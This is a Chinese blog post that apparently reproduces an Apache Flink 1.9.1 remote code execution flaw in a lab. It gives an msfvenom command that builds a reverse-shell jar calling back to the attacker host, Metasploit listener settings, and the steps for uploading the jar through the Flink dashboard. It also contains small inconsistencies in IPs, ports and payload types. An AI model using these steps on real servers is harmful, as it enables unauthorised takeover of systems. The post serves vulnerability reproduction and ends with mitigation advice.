Apache Flink 任意 Jar 包上传导致RCE漏洞 – 作者:cmdgaga

漏洞描述

Apache Flink 是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。可部署在各种集群环境,对各种大小的数据规模进行快速计算。昨天在浏览公众号的时候看到了这个Apache Flink 任意Jar包上传导致远程代码执行漏洞,昨天晚上由于回去的有点晚就没有去复现,再加上最近事情比较多。今天早上来了之后就马不停蹄的搭建环境来复现一下。首相介绍一下这个漏洞

ApacheFlink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。

ApacheFlink的数据流编程模型在有限和无限数据集上提供单次事件(event-at-a-time)处理。在基础层面,Flink程序由流和转换组成。

ApacheFlink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。

攻击者可利用该漏洞在 Apache Flink Dashboard页面中上传任意Jar包,利用Metasploit在Apache Flink服务器中执行任意代码,获取服务器最高权限,所以危害性较大。

测试环境搭建

kali  192.168.16.128–》攻击机

ubuntu  192.168.19.129–》靶机

Apache Flink 1.9.1–》存在漏洞版本的安装包

这里说明一下,安装Apache Flink非常的容易,但是这个是依赖java8+环境,所以需要安装java环境。

下载Apache Flink 1.9.1包:


wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

解压安装包:

tar  –zxvf  flink-1.9.1-bin-scala_2.11.tgz

进入到bin目录下面启动Flink

./start-cluster.sh

如果启动成功会提示以下信息(小白我之前启动过,所以就提示已经启动):

图片.png既然后台启动成功,打开浏览器是否能在web访问成功,端口是8081:

漏洞复现

既然环境配置成功了,那么我们可以结合MSF来进行漏洞复现,首先我们要用MSF生成一个jar的木马文件:

msfvenom -p java/meterpreter/reverse_tcp LHOST= 192.168.19.128 LPORT=8888   -f    jar > shell.jar  补充一句,免杀的小白这里就不做了,嘿嘿…….

图片.png之所以放在网站根目录下,是为了我直接在浏览器下载这个jar木马包:

图片.png

图片.png打开渗透测试神器MSF,看到了熟悉而又熟悉的界面:

图片.png首先我们设置监听地址(kali)以及payload:

use exploit/multi/handler

set payload java/shell/reverse_tcp  //除了可以设置java,也可以设置各种脚本语言,选择在于目标的环境以及木马格式

set LHOST 192.168.19.128

set LPORT 88888

show options //查看一下自己设置的参数信息

图片.png设置完毕后,我们先执行exploit进行监听来自8888端口的流量,如果有的话就会反弹一个shell通道:

图片.png上传shell.jar文件:

点击Submit New Job–》Add+New,然后选择我们之前创建的shell.jar包

图片.png

成功上传:图片.png

打开上传的包,然后点击Submit按钮,我们就可以看到MSF反弹一个shell通道,执行系统命令,这样我们获取到了乌班图这台服务器的权限:

图片.png图片.png

个人总结

      至于怎么修复需要静等官方发布漏洞补丁或者高版本的发布,小白非常热衷于自己手动搭建环境来进行漏洞复现。小白的个人修复建议:

1、设置登陆验证;

2、对上传的jar包内容进行校验,前端和后端都要验证;

来源:freebuf.com 2019-11-15 00:25:25 by: cmdgaga

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论